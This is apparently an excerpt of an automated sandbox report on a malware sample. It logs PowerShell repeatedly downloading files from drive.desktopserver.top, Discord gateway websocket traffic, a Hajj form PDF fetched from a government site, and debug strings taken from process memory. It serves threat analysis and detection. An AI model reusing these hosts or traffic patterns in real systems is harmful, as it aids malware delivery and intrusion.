Source:	Binary string: Adobe.pdb source: powershell.exe, 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2627405581.000002335422D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2614802027.000001CCBEA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2471509926.000001F3185BD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fystem.Core.pdb source: powershell.exe, 00000018.00000002.2504827631.000001F3208F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: powershell.exe, 00000018.00000002.2508079419.000001F320BCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ll\System.pdbv source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdbpdblib.pdbidh){ source: powershell.exe, 00000017.00000002.2665844721.000001CCC70CF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdbT source: powershell.exe, 00000018.00000002.2508079419.000001F320BCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdbg source: powershell.exe, 0000000B.00000002.2316263361.0000019FD2AC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.pdbpdbtem.pdb: source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 0000000B.00000002.2354518966.0000019FECE45000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2508079419.000001F320BCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 00000017.00000002.2665844721.000001CCC70CF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdblf source: powershell.exe, 00000017.00000002.2656642044.000001CCC6D9C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Qib.pdb0 source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000016.00000002.2664465867.000002335C729000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2504827631.000001F3208F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\System.Core.pdbC source: powershell.exe, 0000000B.00000002.2352823018.0000019FECAC6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbz source: powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdbbx source: powershell.exe, 00000016.00000002.2664465867.000002335C76D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdbB'2 source: powershell.exe, 0000000B.00000002.2354518966.0000019FECE08000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: orlib.pdbpdblib.pdbx source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000016.00000002.2664465867.000002335C729000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2504827631.000001F3208F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb4 source: powershell.exe, 00000016.00000002.2664465867.000002335C729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000B.00000002.2354518966.0000019FECE45000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2435524082.000001F3069F6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb^ source: powershell.exe, 00000018.00000002.2508079419.000001F320BCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000B.00000002.2354518966.0000019FECEA8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2669887405.000002335C78B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2496306256.000001F3208A2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb+H source: powershell.exe, 00000018.00000002.2507406488.000001F32094E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Adobe.pdbx source: powershell.exe, 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2627405581.000002335422D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2614802027.000001CCBEA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2471509926.000001F3185BD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.pdb} source: powershell.exe, 00000016.00000002.2664465867.000002335C76D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbpdblib.pdb source: powershell.exe, 00000016.00000002.2664465867.000002335C76D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: $.pdbr3 source: powershell.exe, 0000000B.00000002.2352823018.0000019FECAED000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: 6pu1vC0lzYj5eQLGnNvoqQ==Sec-WebSocket-Version: 13Host: gateway.discord.gg
Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: VaAdp+t3Wysgbc0tpZhxww==Sec-WebSocket-Version: 13Host: gateway.discord.gg
Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: 0Q22eY78naCzrGK6GlNJOg==Sec-WebSocket-Version: 13Host: gateway.discord.gg
Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: /n44b8H3mJDvHC1mW4m8Dw==Sec-WebSocket-Version: 13Host: gateway.discord.gg

Source: Joe Sandbox View	IP Address: 162.159.135.234 162.159.135.234
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CYBERNET-APCyberInternetServicesPvtLtdPK CYBERNET-APCyberInternetServicesPvtLtdPK

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199

Source: global traffic	HTTP traffic detected: GET /file/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SiteImage/Misc/files/HajjForm2024.pdf HTTP/1.1Host: mora.gov.pkConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mora.gov.pkConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiesession1=678B2917984A004EC914ADEBDA66AEC6
Source: global traffic	HTTP traffic detected: GET /SiteImage/Misc/files/HajjForm2024.pdf HTTP/1.1Host: mora.gov.pkConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiesession1=678B2917984A004EC914ADEBDA66AEC6
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mora.gov.pkConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiesession1=678B2917984A004EC914ADEBDA66AEC6
Source: global traffic	HTTP traffic detected: GET /file/res/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: 6pu1vC0lzYj5eQLGnNvoqQ==Sec-WebSocket-Version: 13Host: gateway.discord.gg
Source: global traffic	HTTP traffic detected: GET /file/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=A3DFWFen5CsLoTP&MD=7SevKY14 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /file/res/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/res/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/res/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: VaAdp+t3Wysgbc0tpZhxww==Sec-WebSocket-Version: 13Host: gateway.discord.gg
Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: 0Q22eY78naCzrGK6GlNJOg==Sec-WebSocket-Version: 13Host: gateway.discord.gg
Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: /n44b8H3mJDvHC1mW4m8Dw==Sec-WebSocket-Version: 13Host: gateway.discord.gg
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=A3DFWFen5CsLoTP&MD=7SevKY14 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /file/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/res/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/res/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/res/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file/res/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: drive.desktopserver.topConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.desktopserver.top
Source: global traffic	DNS traffic detected: DNS query: mora.gov.pk
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: gateway.discord.gg

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:58:23 GMTContent-Length: 0Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b6Gh1pMgRQAAMy6lbfJ%2BSf0D2Br3IrF94zbHTf1VYUbviU0c4wvIVtaUko8U%2BBR6%2BGg2Hr6zSWwNRCX5HRf4R6XZ0AUfpC6QLsWESJVNjUf8D50PjPeyC2Kxj%2BhCEPaD6Bv22A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 8cb5c1e8ac47424c-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:58:38 GMTContent-Length: 0Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ZHeb7pDkpH1fiIVRj%2BKGU%2BVg5dJRnzi%2BnE1a6vpb9XOPOVjJJ2YBulM3mZBve37sYpcby43ew8wgofdWOZA3Gp63gAJKgZcburTND03bQ%2FKYqXFMDfHMghjwjj8R6rGGR0%2F1A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 8cb5c2468f614345-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:58:38 GMTContent-Length: 0Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDZ7xFkzKQlaWaLbgMM%2Bfh3pupGBYATsP3dVEUTgdUoVi8M7KK2Fcw58glScUCH2uoywzGD7822AFgI3QlnUw3yR0vX7O%2BvwDVXkUjlQJ0y7Wx6ZOERrVc9SD4pZbAmSGgUexA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 8cb5c246aee54399-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:58:39 GMTContent-Length: 0Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vfTvT42tp2SkdBdstqrbHV0Oojkqdg5IBu7Iu9JfehWHf9nGdTkabmU5ekW6%2BmDL9g5lh6cearc7ij3TJojQpdsV9dYGhJvd%2Fwk22VqbsaAndl0P8x1UzTs5s%2BbH8pu8kfaogA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 8cb5c249ef8542fc-EWR

Source: svchost.exe, 00000004.00000002.3381154343.0000022298E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000016.00000002.2485510234.0000023344CE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30907D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.deskt
Source: schtasks.exe, 0000000C.00000002.2230362976.00000276C5598000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344FE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.deskto
Source: powershell.exe, 00000016.00000002.2485510234.0000023344FEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.desktopseX
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.000002334505E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344FEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.000002334447A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.000002334507A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAECA9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF8A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F309408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F3093EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.desktopserver.top
Source: ConDrv.22.dr	String found in binary or memory: http://drive.desktopserver.top/file/
Source: powershell.exe, 00000018.00000002.2437118491.000001F308809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30907D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp, ConDrv.11.dr, ConDrv.24.dr, ConDrv.23.dr, ConDrv.22.dr	String found in binary or memory: http://drive.desktopserver.top/file/res/
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.desktopserver.top/file/res/0
Source: powershell.exe, 00000016.00000002.2485510234.0000023344FE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF4C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30936E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.desktopserver.top/file/res/X
Source: svchost.exe, 00000004.00000002.3381554051.0000022298ED0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000004.00000002.3380353643.0000022294102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3381342313.0000022298E64000.00000004.00000020.00020000.00000000.sdmp, edb.log.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0/go
Source: svchost.exe, 00000004.00000002.3381342313.0000022298E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0
Source: svchost.exe, 00000004.00000002.3381432408.0000022298EB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80fs/windows/config.jsondiskVolume3
Source: edb.log.4.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gateway.discord.gg
